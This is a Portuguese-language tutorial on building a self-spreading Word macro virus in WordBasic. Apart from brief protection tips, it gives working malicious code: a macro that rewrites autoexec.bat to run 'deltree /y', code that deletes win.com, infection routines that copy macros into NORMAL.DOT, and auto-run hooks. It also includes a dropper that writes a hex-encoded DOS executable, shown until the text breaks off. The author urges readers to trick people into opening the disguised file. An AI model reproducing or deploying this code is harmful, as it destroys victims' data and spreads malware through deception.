- C R I A N D O . V Í R U S
D E . M A C R O
-
{ by LeBeau }
-
- Como fazer um vírus de
macro?
-
- Introdução
- 1. O que é um
Vírus de Macro
- 2. Como o Word
DMV funciona
- 3. Protegendo-se
contra DMV's do Word
- 4. Exemplos de
WordBasic
- 4.1. Como criar
um Autoexec.bat destrutivo
- 4.2. Sair do
Windows
- 4.3. Apagar um
arquivo
- 4.4. Criar
diretório
- 4.5. Conectar à
rede local
- 4.6.
Renomear/mover arquivos
- 4.7. Variáveis
de ambiente
- 4.8. Enviar
Teclas ao programa
- 4.9. Controle do
Aplicativo
- 4.9.1. Obter
informação do aplicativo
- 4.9.2.
Verificação de aplicativos sendo executados
- 4.9.3. Ativando
uma janela
- 4.9.4. Fechar
uma janela
- 4.9.5. Ocultando
uma janela
- 4.9.6. Voltando
a exibir uma janela
- 4.10. Executando
um aplicativo
- 4.11. Copiando
Macros
- 5. Criação do
vírus
- 5.1. Infec
- 5.2. AutoExec
- 5.3. AutoClose
- 5.4. AutoOpen
- 5.5. Libvirus
- 5.6. Destruct
- 5.7.
ArquivoSalvarComo
- 5.8.
ArquivoImprimir
- 5.9.
ArquivoImprimirPadrão
- 5.10. ImpreArq
- 5.11. email
- Conclusão
- Sobre o autor:
e-mail e Home-page
-------------------------
INTRODUÇÃO
-------------------------
- Bem, esse é o meu segundo
tutorial de como criar um vírus, o que melhorou foi que
no tutorial anterior foi ensinado a como criar um vírus
em Pascal, ensinando toda a lógica e tal, só que um
vírus em Pascal não é lá grande coisa. É muito
fácil removê-lo, até mostrei como fazer isso no
tutorial. Outra coisa que me incomodou foi que muita
gente não conseguiu executar o vírus, eu testei e
retestei o vírus e ele funcionava 100% com aquela
listagem no fim do mesmo, só tem um problema: eu uso
somente o Turbo Pascal 7.0, me disseram que ele
não rodava em TP 6.0, vou fazer o que, nem tudo
é perfeito. Mas com esse o papo é um pouco diferente,
esse tutorial funciona tanto em Word 6.0 quanto em 7.0,
só tem uma função que me deu um certo trabalho: A
função SendKeys é assim no Word 6.0 e é EnviarTeclas
no Word 7.0, para quem for pegar o arquivo LeGado.doc
não notará diferença, uma vez que uma vez certo o
conteúdo do programa em um tipo de Word ele vai estar
sempre certo mesmo que se leve o documento para um Word
com outra linguagem, ou seja se no meu Word 7.0 tiver uma
macro com a função EnviarTeclas e eu levar para
o Word 6.0 ou qualquer Word inglês assim que eu abri o
documento e editar a mesma função vai estar lá: Sendkeys,
ou seja, o Word faz uma tradução de todos os comandos
em Basic.
-
- O
QUE É UM VÍRUS DE MACRO (DMV)
- Enquanto que criadores de virus
concentraram-se em código que funcionasse em nível de
sistema operacional, eles, no entanto, negligenciaram
aplicativos. Muitas aplicativos de negócios, tais como
planilhas eletrônicas, processadores de texto e banco de
dados, vem com poderosas linguagens de macro. Muitas
aplicações tem a habilidade de auto-executar macros.
Essa combinação fornece um sério perigo para usuários
de computadores que pensavam que arquivos de dados não
machucavam seu sistema.
- Eu uso o termo document macro
virus (ou DMV) para descrever esse tipo de código
malicioso. Algumas características de um DMV incluem:
- Um DMV é escrito na
linguagem macro de uma aplicação. Ele explora a
habilidade da aplicação para automaticamente
executar a macro em algum evento, tal como
abrindo ou fechando um documento. Uma vez que
esse evento ocorre em um documento que possui o
DMV, o virus espalha-se (ou algum tipo de cavalo
de tróia é executado). A menos que um vírus
convencional ou cavalo de tróia esteja no
código executável, o DMV usa sua aplicação
criadora como agente para executar o código.
- DMVs sao extremamente
simples de criar. Muitas linguagens macros sãu
uma modificação do BASIC, o qual é muito
fácil programar do que em linguagem assembler
preferida por muitos escritores de virus. Como
muito macros suporta a capacidade de chamar
rotinas externas (tal como funções em arquivos
.DLL), a linguagem de macro pode facilmente se
extender para criar virus sofisticados.
- De uma forma
simplificada, DMVs tendem a ser feitas para uma
aplicação somente em sua natureza. Isso
significa que o virus apenas infecta documentos
com o mesmo tipo de dado, por exemplo, todos os
documentos para o Microsoft Word for Windows.
Muitas linguagens de macro não são compatíveis
em passar de um aplicativo para outro (por
exemplo, um documento Word DMV que foi importado
pelo Ami Pro, pode não passar o virus). Uma
exceção pode ser a linguagem Microsoft's common
macr , Visual Basic for Applications. É um
avançado DMV que pode ser escrito com VBA que
pode mover de uma aplicação para outra.
- Uma vez que um DMV é
específico para um aplicativo, é teoricamente
possível que um documento possa passar de uma
plataforma para outra (i.e. sistema baseados em
Intel rodando Windows, para Motorola/Power PC-
rodando sistemas Macintosh). Isso faz que DMV
seja diferente dos virus normais, que tendem a
ser plataforma específica devido a natureza de
sua codificação.
- Obviamente, existe uma
numerosa quantidade de riscos de segurança e
privacidade que o usuário corre quando sem saber
roda um documento que possui um DMV. Esses são
limitados apenas pela imaginação da pessoa que
criou o DMV. Algumas ações maliciosas que são
relativamente fáceis de implementar incluem:
- 1. Infectar seu computador com
um virus (obviamente)
- 2. Apagar arquivos de seu disco
rígido.
- 3. Renomear arquivos existentes
- 4. Copiar arquivos pessoais de
seu disco rígido para um local da rede onde eles podem
ser recuperados mais tarde por outra pessoa.
- 5. Enviando arquivos sensitivos
de seu disco rígido para um endereço de email via MAPI
(Windows)
- É importante notar que esses
riscos não são exclusivos do Word for Windows. Qualquer
applicação que suporta macros automáticos são um
perigo potencial.
-
- COMO
O WORD DMV FUNCIONA
- O Microsoft Word for Windows usa
uma linguagem de macro chamada WordBasic. Ele também
suporta uma série de macros automáticos. Se um macro
tem um nome reservado, ele automaticamente executa em um
evento específico. Por exemplo:
- Nome
da Macro
|
- Roda
|
- AutoExec
|
- Quando
você inicia o Word
|
- AutoNew
|
- Quando
você cria um novo documento
|
- AutoOpen
|
- Quando
você abre um documento
|
- AutoClose
|
- Quando
você fecha um documento
|
- AutoExit
|
- Quando
você sai do Word
|
- Word for Windows armazena
macros, tão bem como estilos, em modelos de documento
(arquivos .DOT). Macros globais são armazenados no
arquivo NORMAL.DOT.
- Como falado anteriormente, o
Word apenas armazena macros em modelos de documentos.
Você não pode acrescentar uma macro para um documento
normal de Word (.DOC). Isso ajuda a eliminar a habilidade
de se espalhar um DMV da fonte para outros documentos (o
que pode dramaticamente aumentar a quantidade de
documentos infectados).
- Entretanto, existe uma
alternativa. Um modelo de Word .DOT é muito similar em
formato a um arquivo .DOC. Os dois possuem a mesma
aparência e funcionalidade quando aberto no Word.
- Para infectar outros documento,
o DMV no NORMAL.DOT checa o documento para ver se ele já
foi infectado com o macro. Se ele não foi, o macro salva
o arquivo como um documento modelo. Isso faz com que
apareça no parte de baixo da tela uma barra de
salvamento (o que não é estranho, uma vez que muitos
usuários usam a opção de Auto-Salvamento). Word agora
trata o documento atual como um modelo, e o macro DMV no
NORMAL.DOT pode copiar a si próprio para o documento
atual.
- Extensões de arquivo são muito
decepcionantes. Uma vez que enquanto que o documento
possua uma extensão .DOC, ele pode ser um modelo. Quando
o Word abre um documento, ele não liga qual a extensão
que o arquivo tem. Ele le o arquivo e determina qual o
formato a ser processado. A única pista que você pode
ter é quando você escolhe o comando Salvar Como no menu
Arquivo. Word tenta forçar você para salvar o modelo em
um diretório padrão que contenha outros modelos de
Word. Outra pista é quando o Word pergunta para você se
você deseja salvar as modificações quando você
fechar, mesmo que você não tenha editado o documento.
- Como software de
plataformas-múltiplas geralmente trocam código comuns,
parece que o DMV pode ser passado de uma plataforma para
outra. Por exemplo, se um documento do Word for Windows
está infectado, depois transferido para o Word para
Macintosh então o DMV pode muito bem infectar a versão
Mac do Word. Eu nunca testei isso ainda, mas isso pode
ser um acontecimento provável.
- Como falado anteriormente, esse
não é um problema exclusivo para o Word for Windows
(pesquisas indicam que o Excel tem muitas mais
vulnerabilidades ou de produtos feitos pela Microsoft.
Macros automáticas tem se tornado muito populares entre
uma variedade de software-houses.
- Removrndo vírus de Word
- Remover vírus de Word (DMV) é
relativamente fácil. Primeiro rode o Word, depois:
- Se um arquivo infectado
está aberto, então escolha o comando Macro do
menu Utilitários. Apague todas as macros do
arquivo aberto e do NORMAL.DOT.
- Se nenhum documento
está aberto, escolha o comando Macro do menu
Arquivo. Apague todos os macro de NORMAL.DOT.
-
-
- PROTEGENDO-SE
CONTRO DMS'S DO WORD
- Qualquer macro automática pode
ser facilmente detectada escolhendo-se a opção Macro no
menu utilitários. Uma macro suspeita pode ser examinada
ou deletada (com sorte, antes que ela se execute,
senão...). A Microsoft fornece dois métodos de
desabilitar macros automáticas no Word.
- Extráido do documento Q96565 no
Banco de Dados de suporte para produtos Microsoft:
- SUMMÁRIO
- Para prevenir que uma macro
automático do Microsoft Word for Windows não rode,
segure a tecla SHIFT quando você realizar a ação que
ative a macro: AutoExec, AutoNew, AutoOpen, AutoClose, e
AutoExit são as macros automáticas no Word for Windows.
- MAIS INFORMAÇÃO
- Quando abrir um documento Word
for Windows que está associado com um modelo que
contenha uma macro AutoOpen, pressione a tecla SHIFT até
que o documento sejá completamente aberto. Pressionando
a tecla SHIFT previne que a ação não chame o macro.
- Para prevenir que um macro
AutoExec do Word for Windows AutoExec não execute, faça
um dos seguintes:
- Execute o Word da
seguinte forma: winword /m
- -ou-
- Pressione e segure a
tecla SHIFT enquanto você abre o Word.
- No Word for Windows versão 6.0
(ou 7.0), você pode usar o seguinte comando para
desabilitar todos os macros automáticos, incluindo
AutoExec:
- C:\WINWORD\WINWORD.EXE
/mDisableAutoMacros
-
- EXEMPLOS
DE WORDBASIC
- Nessa seção eu mostrarei
inúmeras funções úteis para a criação de um vírus
de Macro, a maioria dos exemplos abaixo está no help do
WordBasic do Word, eu só dei uma selecionada nas
melhores.
- Todos os exemplos dessa seção
podem ser colocados em um módulo para ser testado, todos
funcionam em Word 6.0 ou Word 7.0.
-
- COMO
CRIAR UM AUTOEXEC.BAT DESTRUTIVO
- O exemplo abaixo faz com que o
vírus crie um arquivo autoexec.bat destrutivo, fazendo
com que assim que o computador seja reiniciado, o comando
deltree sera ativado apagando todos os diretórios do
computador.
- Open "C:\autoexec.bat"
For Output As #1
- Print #1, "@deltree /y *.*
>nul"
- Close #1
-
- SAIR
DO WINDOWS
- O comando faz com que o programa
saia direto do Windows:
- SairWindows
-
- APAGAR
UM ARQUIVO
- Esse comando apaga um arquivo:
- kill
"c:\windows\win.com"
-
- CRIAR
DIRETÓRIO
- Este exemplo cria o diretório
"SAIDA" especificando um caminho.
- Observe que o diretório TESTE
já deve existir; MkDir não pode criar ambos os
diretórios ao mesmo tempo.
- MkDir "C:\TESTE\SAIDA"
-
- CONECTAR
À REDE LOCAL
- Este exemplo estabelece uma
conexão com uma unidade de rede protegida com a senha
"sorria" e atribui a unidade de rede à
próxima letra de unidade de rede disponível:
- Conectar .Caminho =
"\\PROJETO\INFO", .Senha = "sorria"
-
- RENOMEAR/MOVER
ARQUIVOS
- Este exemplo usa ChDir para
definir o diretório atual e renomeia o arquivo COGS.DOC
como COGS88.DOC nesse diretório. Sem a instrução ChDir
precedente, a instrução Name teria de especificar o
caminho completo para cada nome de arquivo:
- ChDir
"C:\MEUSDOCS\MEMOS\JULHO"
- Name "COGS.DOC" As
"COGS88.DOC"
-
- VARIÁVEIS
DE AMBIENTE
- Este exemplo verifica a
variável ambiental PATH e exibe uma de duas caixas de
mensagem, dependendo do número de caracteres no caminho.
(O limite é de 127 caracteres.)
- caminho$ =
Ambiente$("PATH")
- comprimento = Len(caminho$)
- avail = 127 - comprimento
- Select Case avail
- Case 127
- MsgBox "O PATH está
vazio."
- Case 0 To 126
- MsgBox "Você pode
acrescentar" + Str$(avail) + \ " caractere(s)
no PATH."
- Case Else
- End Select
-
- ENVIAR
TECLAS AO PROGRAMA
- Sintaxe:
- SendKeys Teclas$, Esperar
- Obs: No Word 7.0 português, o
comando SendKeys ficou traduzido como EnviarTeclas
- Envia a seqüência de teclas
especificada por Teclas$, como se estas tivessem sido
digitadas no teclado. SendKeys deve preceder instruções
que ativam o comando ou aplicativo que recebe a
seqüência de teclas, de modo que esta seqüência
esteja na memória quando a macro fizer uma pausa.
- Observação
- Use SendKeys para operar outros
aplicativos somente quando não houver alternativa e,
nesse caso, use-o com cuidado. Em geral, a melhor maneira
para fazer o Word interagir com outros aplicativos é o
intercâmbio dinâmico de dados (DDE), pois este fornece
um canal para comunicação de mão dupla entre
aplicativos, e um caminho para a detecção e gerência
de erros no outro aplicativo. Deve-se testar mesmo o mais
simples dos usos de SendKeys sob uma variedade de
condições a fim de evitar resultados imprevisíveis,
perda de dados, ou ambos.
- Argumento
|
- Explicação
|
- Teclas$
|
- Uma
tecla ou seqüência de teclas, como
"a" para a letra a ou
"{enter}{pgup}" para a tecla ENTER
seguida da tecla PAGE UP.
|
- Esperar
|
- Se
o Word não for o aplicativo ativo e Esperar for
-1, o Word espera que todas as teclas sejam
processadas antes de prosseguir. Por exemplo, se
você executar as instruções a seguir para
enviar Teclas$ ao Microsoft Excel, ocorre um bip
no Word depois que o texto é inserido nas 10
células. Se Esperar fosse 0 (zero), o bip
ocorreria quando o texto estivesse sendo inserido
na primeira célula.
- AplAtivar
"Microsoft Excel"
- For
i = 1 To 10
- SendKeys
"Testando (abaixo)", -1
- Next
i
- Beep
|
- Para especificar teclas que não
inserem caracteres, use os seguintes códigos:
- Tecla
|
- Código
|
- BACKSPACE
|
- {backspace}
ou {bs} ou {bksp}
|
- BREAK
|
- {break}
|
- CAPS
LOCK
|
- {capslock}
|
- CLEAR
|
- {clear}
|
- DEL
|
- {delete}
ou {del}
|
- SETA
PARA BAIXO
|
- {down}
|
- END
|
- {end}
|
- ENTER
|
- {enter}
ou ~
|
- ESC
|
- {escape}
ou {esc}
|
- HELP
|
- {help}
|
- HOME
|
- {home}
|
- INS
|
- {insert}
|
- SETA
PARA A ESQUERDA
|
- {left}
|
- NUM
LOCK
|
- {numlock}
|
- PAGE
DOWN
|
- {pgdn}
|
- PAGE
UP
|
- {pgup}
|
- PRINT
SCREEN
|
- {prtsc}
|
- SETA
PARA A DIREITA
|
- {right}
|
- TAB
|
- {tab}
|
- SETA
PARA CIMA
|
- {up}
|
- F1,
F2, F3,...F16
|
- {F1},
{F2}, {F3},...{F16}
|
- Para repetir um caractere, use a
sintaxe {Caractere Número}. Por exemplo, SendKeys
"{s 10}" repete a letra s 10 vezes. Lembre-se
de inserir um espaço entre a tecla e o número.
- Para repetir uma tecla cujo
código já inclua chaves, inclua um espaço e um número
dentro das chaves; por exemplo: SendKeys "{enter
10}".
- Para enviar uma combinação de
teclas que inclua SHIFT, ALT ou CTRL, use os seguintes
símbolos:
- Para
combinar com
|
- Preceda
o código da tecla por
|
- SHIFT
|
- +
(sinal de adição)
|
- ALT
|
- %
(sinal de porcentagem)
|
- CTRL
|
- ^
(sinal de circumflexo)
|
- Por exemplo,
"%{enter}" envia o código de ALT+ENTER.
Podem-se agrupar teclas com parênteses e preceder o
grupo pelo código de uma tecla SHIFT, ALT ou CTRL. Por
exemplo, o código "+(wordbasic)" especifica
WORDBASIC (mas pode-se usar simplesmente as letras
maiúsculas WORDBASIC sem o sinal de adição). Para
enviar um sinal de adição (+), um sinal de porcentagem
(%) ou um sinal de circumflexo (^) como texto literal,
inclua o caractere entre chaves. Por exemplo, para enviar
um sinal de adição, use a instrução SendKeys
"{+}". Podem-se também usar chaves para enviar
parênteses.
- Observação
- Ao enviar combinações de
teclas que incluem a tecla ALT, acostume-se a enviar
sempre letras minúsculas. Por exemplo, para abrir o menu
Arquivo (ALT, A), use "%a", pois "%A"
equivaleria a pressionar ALT+SHIFT+A.
-
- CONTROLE
DO APLICATIVO
- Vou mostrar agora algumas
funções de como controlar um aplicativo a partir do
Word, tem umas funções bem interessantes aqui!
-
- OBTER
INFORMAÇÃO DO SISTEMA
- Sintaxe:
- AplInfo$(Tipo)
- Fornece um dos 25 tipos de
informação sobre o aplicativo Word. Observe que a
função ObterInfoSistema$() fornece informações
semelhantes. Além disso, pode-se usar a instrução
ObterInfoSistema$ para preencher uma matriz com
informações do sistema.
- Argumento
|
- Explicação
|
- Tipo
|
- Código
numérico que especifica o tipo de informação a
ser fornecida:
|
- 1
|
- Ambiente
(por exemplo, "Windows 3.10").
|
- 2
|
- Número
de versão do Word (por exemplo,
"6.0").
|
- 3
|
- Fornece
-1 se o Word estiver em algum modo especial (por
exemplo, modo CopiarTexto ou MoverTexto).
|
- 4
|
- Distância
entre a margem esquerda da tela e a borda
esquerda da janela do Word, em pontos (72 pontos
= 1 polegada = 2,54 centímetros). Observe que,
quando o Word está maximizado, AplInfo$(4)
fornece -3 para indicar que as bordas estão
além do limite da tela.
|
- 5
|
- A
distância entre o topo da tela e a borda
superior da janela do Word, em pontos. Observe
que, quando o Word está maximizado, AplInfo$(5)
fornece -3 para indicar que as bordas estão
além do limite da tela.
|
- 6
|
- Largura
da área de trabalho, em pontos; a largura
aumenta quando se ocultam elementos da tela do
Word ou se alarga a janela do Word. Observe que o
aumento da porcentagem de zoom diminui o valor
fornecido e vice-versa.
|
- 7
|
- Altura
da área de trabalho, em pontos; a altura aumenta
quando se ocultam elementos da tela do Word ou
quando se aumenta a altura da janela do Word.
Observe que o aumento da porcentagem de zoom
diminui o valor fornecido, e vice-versa.
|
- 8
|
- Fornece
-1 se o aplicativo estiver maximizado.
|
- 9
|
- Memória
convencional total, em kilobytes.
|
- 10
|
- Memória
convencional disponível, em kilobytes.
|
- 11
|
- Memória
expandida total, em kilobytes.
|
- 12
|
- Memória
expandida disponível, em kilobytes.
|
- 13
|
- Fornece
-1 se houver coprocessador matemático instalado.
|
- 14
|
- Fornece
-1 se houver mouse instalado.
|
- 15
|
- Espaço
disponível em disco, em kilobytes.
|
- 16
|
- Fornece
a versão do idioma do Word. Por exemplo, fornece
"Français" para a versão em francês
do Word. Para obter uma lista de idiomas,
consulte UtilIdioma.
|
- 17
|
- Fornece
a configuração de separador de lista
("sList") na seção [intl] do WIN.INI.
|
- 18
|
- Fornece
a configuração decimal ("sDecimal")
na seção [intl] do WIN.INI.
|
- 19
|
- Fornece
o separador de milhar ("sThousand") na
seção [intl] do WIN.INI.
|
- 20
|
- Fornece
o símbolo de moeda ("sCurrency") na
seção [intl] do WIN.INI.
|
- 21
|
- Fornece
formato do relógio ("iTime") na
seção [intl] do WIN.INI.
|
- 22
|
- Fornece
a seqüência de caracteres A.M.
("s1159") na seção [intl] doWIN.INI.
|
- 23
|
- Fornece
a seqüência de caracteres P.M.
("s2359") na seção [intl] do WIN.INI.
|
- 24
|
- Fornece
o separador de hora ("sTime") na
seção [intl] do WIN.INI.
|
- 25
|
- Fornece
o separador de data ("sDate") na
seção [intl] do WIN.INI.
|
-
- VERIFICAÇÃO
DE APLICATIVOS SENDO EXECUTADOS
- AplSendoExecutada(NomeJanela$)
- Fornece -1 se o aplicativo
especificado estiver sendo executado ou 0 (zero) se não
estiver.
- Argumento
|
- Explicação
|
- NomeJanela$
|
- Seqüência
de caracteres que coincide com o início do nome
da janela de um aplicativo, conforme aparece na
barra de título ou Lista de Tarefas.
|
-
- ATIVANDO
UMA JANELA
- Neste exemplo, se o Gerenciador
de Arquivos estiver sendo executado, ele é ativado; se
não estiver sendo executado, ele é iniciado.
- If
AplSendoExecutada("Gerenciador de Arquivos")
Then
- AplAtivar "Gerenciador de
Arquivos"
- Else
- Shell "WINFILE.EXE"
- End If
- Detalhe: Não é necessário
colocar o nome completo do aplicativo, se colocar somente
"Geren" ele funciona da mesma forma.
-
- FECHANDO
UMA JANELA
- O comando a seguir fecha o
aplicativo especificado:
- AplFechar [NomeJanela$]
-
- OCULTANDO
UMA JANELA
- O comando a seguir oculta o
aplicativo especificado e remove o nome de sua janela da
Lista de Tarefas.
- !!!!Essencial se você quiser
fazer algo que o usuário não venha a descobrir!!!!!
- AplOcultar [NomeJanela$]
-
- VOLTANDO
A EXIBIR UMA JANELA
- Torna visível e ativa um
aplicativo anteriormente oculto com AplOcultar e restaura
o nome da janela do aplicativo na Lista de Tarefas. Se o
aplicativo não estiver oculto, AplExibir não tem
efeito.
- AplExibir [NomeJanela$]
-
- EXECUTANDO
UM APLICATIVO
- Sintaxe:
- Shell Aplicativo$ [,
EstiloJanela]
- Inicia outro aplicativo (como o
Microsoft Excel) ou processo (como um arquivo de lote ou
arquivo executável) no Windows.
- Argumento
|
- Explicação
|
- Aplicativo$
|
- O
caminho e o nome de arquivo necessários para
localizar o aplicativo, assim como qualquer
opção ou argumento válido que se decida
incluir, como se fossem digitados na caixa de
diálogo Executar do Gerenciador de
Programas.Aplicativo$ pode ser simplesmente o
nome de um documento, desde que a extensão do
nome de arquivo esteja registrada na seção
[Extensions] do arquivo WIN.INI. Shell inicia o
aplicativo associado e abre o documento. Para
exibir a janela do MS-DOS, especifique
Ambiente$("COMSPEC") como Aplicativo$.
|
- EstiloJanela
|
- Como
a janela que contém o aplicativo deve ser
exibida (alguns aplicativos ignoram este item):
|
- 0
(zero)
|
- Janela
minimizada (ícone)
|
- 1
|
- Janela
normal (tamanho atual da janela ou tamanho
anterior, se minimizada)
|
- 2
|
- Janela
minimizada (para compatibilidade com o Microsoft
Excel)
|
- 3
|
- Janela
maximizada
|
- 4
|
- Janela
desativada
|
-
- COPIAR
MACROS
- MacroCopiar
[Modelo1:]Macro1$, [Modelo2:]Macro2$ [,
ApenasExecutável]
- Obs.:
Função essencial para a criação de vírus de macro,
uma vez que é essa a função que se responsabiliza pela
cópia de macros de um documento para outro.
- Copia uma macro
de um modelo aberto para outro. MacroCopiar não pode
substituir uma macro aberta. Um modelo está aberto se
estiver anexado a um documento aberto, aberto em uma
janela de documento ou carregado como modelo global. Se a
nova macro for definida como apenas executável, ela não
pode ser editada.
-
- Argumento
|
- Explicação
|
- Modelo1,
Modelo2
|
- O
modelo aberto que contém a macro a ser copiada e
o modelo aberto para o qual se quer copiar a
macro, respectivamente. Se não for incluída a
extensão no nome do modelo, é adotada a
extensão .DOT.Inclua caminhos se os modelos não
estiverem no diretório especificado por
"Modelos pessoais" na caixa "Tipos
de arquivo" da guia "Arquivos" da
caixa de diálogo Opções (menu Utilitários).
|
- Macro1$,
Macro2$
|
- Nome
da macro a ser copiada e nome da nova macro,
respectivamente.
|
- ApenasExecutável
|
- Se
for diferente de zero, define a macro de destino
como apenas executável. Observe que esta ação
não pode ser revertida. Convém fazer uma cópia
da macro antes de defini-la como apenas
executável.
|
- Se não for especificado um
modelo de origem ou destino, é adotado o modelo Normal.
Pode-se usar a sintaxe Global:NomeMacro$ para especificar
o modelo Normal como origem ou destino em uma instrução
MacroCopiar.
- Por exemplo:
- MacroCopiar
"MeuMod:TesteExclEstilos",
"Global:ExclEstilos"
- Embora não seja obrigatória, a
inclusão de "Global" pode tornar mais
legíveis as instruções MacroCopiar que afetam o modelo
Normal.
-
- CRIAÇÃO
DO VÍRUS
- A partir daqui eu pretendo
mostrar como criar um vírus de macro.
- Antes de nada é necessário
saber o que esse vírus irá fazer:
- Copiar as macros do
arquivo infectado para o NORMAL.DOT. [Infec];
- Terá macros
automáticas [AutoExec, AutoClose, AutoOpen];
- Irá liberar um vírus
normal (Lembra do outro tutorial? Vai ser
liberado aquele vírus no sistema.) se o vírus
for executado depois das 17:00 [Libvirus]
- Irá zerar (limpar) os
arquivos Command.com, IO.sys, msdos.sys
[Destruct]
- Gravará automaticamente
os arquivos infectados como sendo modelos
[ArquivoSalvarComo]
- Quando for imprimir,
irá imprimir um texto dissendo que o computador
está infectado, somente se os segundos do
relógio for superior a 55 [ArquivoImprimir,
ArquivoImprimirPadrão, ImpreArq]
- E por último, uma das
partes mais interessantes, vem a macro que envia
emails automaticamente para as pessoas que estão
na lista de endereços do Programa de email,
tentei fazer o melhor que pude, testei em 4
programas de Email, o Mail do Windows 3.1x, O
Internet Mail do Windows 95 (Português e
Inglês) e o Eudora Pro, o vírus faz
preferência pelo Eudora tentando localizar no HD
do computador ou se ele já está ativo, caso
não ache ele procura pelo Internet Mail se já
está ativo (Não consegui encontrar uma forma de
localizar o Internet Mail segura). Caso seja em
Windows 3.1x ele executa direto o Mail. O que a
macro faz é enviar seqüências de teclas para o
programa de Email, até onde eu vi ele realmente
funciona. [email]
- Para montar o vírus seria
necessário recortar cada macro e colocar dentro de um
modelo do Word. Mas eu disponibilizei o vírus aqui.
- Caso você queira espalhar esse
vírus ou o outro vírus do meu outro tutorial, é
necessário que você dê uma cópia do vírus para a
outra pessoa. Para isso, pegue o meu vírus já feito e
diga para a pessoa que é um texto legal, sei lá,
inventa uma desculpa, uma forma pode ser enviado o vírus
via e-mail, para isso descompacte o vírus e envie-o para
pessoa (de preferência mudando o nome do vírus, no
arquivo ele está como sendo legado.doc) e se a pessoa
usar daí ela fica infectada, para um vírus infectar um
computador é necessário para isso que a pessoa rode o
programa, o vírus faz o resto sozinho (copiar-se, fuder
o sistema).
- Outra coisa, uma forma para se
proteger desse vírus que eu implementei é criando uma
váriavel de ambiente:
- set legado=NOWAY
- eu sugiro colocar essa linha no
autoexec.bat, dessa forma o vírus não se multiplica,
não apagar arquivos, não libera o vírus e o vírus do
DOS não roda.
-
- INFEC
- A função abaixo é a
responsável pela infecção do arquivo NORMAL.DOT, a
parte mais importante é MacroCopiar NomeJanela$() +
"nomemacro", "Global:nomemacro",1
onde nomemacro corresponde ao nome da macro a ser
copiada, traduzindo isso ficaria: copiar nomemacro de
NomeJanela$ (nome do documento atual e infectado) para
Global (NORMAL.DOT). A funcao on error serve para em caso
de erro em vez de emitir um aviso ele vai para o local
escolhido. No caso desse virus, o SCAN o detecta so que
somente apaga algumas macros, e eu estou fazendo para
deixar o virus funcional mesmo que o SCAN
"remova" o virus. Para isso server a funcao On
Error, para caso nao tenha alguma macro ele passar para a
proxima.
- Sub MAIN
- caminho$ =
Ambiente$("LEGADO")
- If caminho$ = "NOWAY"
Then Goto NoWay
- On Error Goto NoWay
- on error goto autoexec
- MacroCopiar NomeJanela$() +
":Infec", "Global:Infec", 1
autoexec:
on error goto email
- MacroCopiar NomeJanela$() +
":AutoExec", "Global:AutoExec", 1
email:
on error goto libvirus
- MacroCopiar NomeJanela$() +
":email", "Global:email", 1
libvirus:
on error goto autoclose
- MacroCopiar NomeJanela$() +
":libvirus", "Global:libvirus", 1
autoclose:
on error goto autoopen
- MacroCopiar NomeJanela$() +
":AutoClose", "Global:AutoClose", 1
autoopen:
on error goto arqsalcomo
- MacroCopiar NomeJanela$() +
":AutoOpen", "Global:AutoOpen", 1
arqsalcomo:
on error goto arqimp
- MacroCopiar NomeJanela$() +
":ArquivoSalvarComo",
"Global:ArquivoSalvarComo", 1
arqimp:
on error goto arqimppad
- MacroCopiar NomeJanela$() +
":ArquivoImprimir",
"Global:ArquivoImprimir", 1
arqimppad:
on error goto imparq
- MacroCopiar NomeJanela$() +
":ArquivoImprimirPadrão",
"Global:ArquivoImprimirPadrão", 1
imparq:
on error goto destruct
- MacroCopiar NomeJanela$() +
":ImpreArq", "Global:ImpreArq", 1
destruct:
on error goto noway
- MacroCopiar NomeJanela$() +
":Destruct", "Global:Destruct", 1
- NoWay:
- End Sub
-
- AUTOCLOSE
- Essa macro é uma macro
automática, ela se executa quando você fecha um
documento. Aqui a função essencial é a Call, que como
o próprio nome indica, ela faz uma chamada de função.
- Sub MAIN
- Call Infec
- Call email
- Call Destruct
- Call libvirus
- End Sub
-
- AUTOOPEN
- Essa macro é uma macro
automática, ela se executa quando você abre um
documento. Aqui a função essencial é a Call, que como
o próprio nome indica, ela faz uma chamada de função.
- Sub MAIN
- Call Infec
- Call Email
- Call libvirus
- Call destruct
- End Sub
-
- AUTOEXEC
- Essa macro é uma macro
automática, ela se executa quando você abre o Word.
Aqui a função essencial é a Call, que como o próprio
nome indica, ela faz uma chamada de função.
- Sub MAIN
- Call Infec
- Call email
- Call libvirus
- End Sub
-
- LIBVIRUS
- Essa função é legal, ela
libera um vírus em seu sistema, vírus feito em Pascal,
por isso o vírus é meio grande, cerca de 7 kb, demora
um pouco de tempo para o vírus ser montado (através dos
comandos shell do WordBasic e do Debug do DOS), mas é
melhor colocar um vírus feito por mim do que um que eu
desconheço. Bom, o que essa função faz é montar um
arquivo (c:\legado.scr) e colocar todas aquelas linhas de
código hexadecimal dentro dele (antes que alguém
pergunte, eu que fiz um programa em Pascal para converter
um arquivo qualquer para código hexadecimal, pretendo
colocar o código fonte desse programa na minha HP
brevemente), cria também um arquivo .bat para executar o
debug e montar o vírus e por último executar o dito
cujo.
- Sub MAIN
- caminho$ =
Ambiente$("LEGADO")
- If caminho$ =
"NOWAY" Then Goto NoDropper
- If Hora(Agora()) < 5
+ 12 Then
- Goto NoDropper
- End If
- Open
"C:\legado.SCR" For Output As #1 'Joga o script
- Print #1, "N
c:\legado.com"
Print #1, "E0100 4D 5A 60 00 10 00 70 00 1E 00 E0 02
E0 02 58 02"
Print #1, "E0110 00 25 00 00 54 08 00 00 1C 00 00 00
2D 00 00 00"
Print #1, "E0120 3C 00 00 00 4C 00 00 00 5E 00 00 00
8D 00 00 00"
Print #1, "E0130 E6 00 00 00 F5 00 00 00 04 01 00 00
13 01 00 00"
Print #1, "E0140 26 01 00 00 31 01 00 00 6B 01 00 00
79 01 00 00"
Print #1, "E0150 93 01 00 00 BB 01 00 00 22 02 00 00
37 02 00 00"
Print #1, "E0160 56 02 00 00 64 02 00 00 73 02 00 00
81 02 00 00"
Print #1, "E0170 9B 02 00 00 B5 02 00 00 D0 02 00 00
DA 02 00 00"
Print #1, "E0180 E9 02 00 00 F7 02 00 00 07 03 00 00
15 03 00 00"
Print #1, "E0190 2F 03 00 00 49 03 00 00 53 03 00 00
5D 03 00 00"
Print #1, "E01A0 6C 03 00 00 7A 03 00 00 8A 03 00 00
98 03 00 00"
Print #1, "E01B0 A9 03 00 00 C3 03 00 00 DD 03 00 00
F8 03 00 00"
Print #1, "E01C0 02 04 00 00 0C 04 00 00 5C 04 00 00
84 04 00 00"
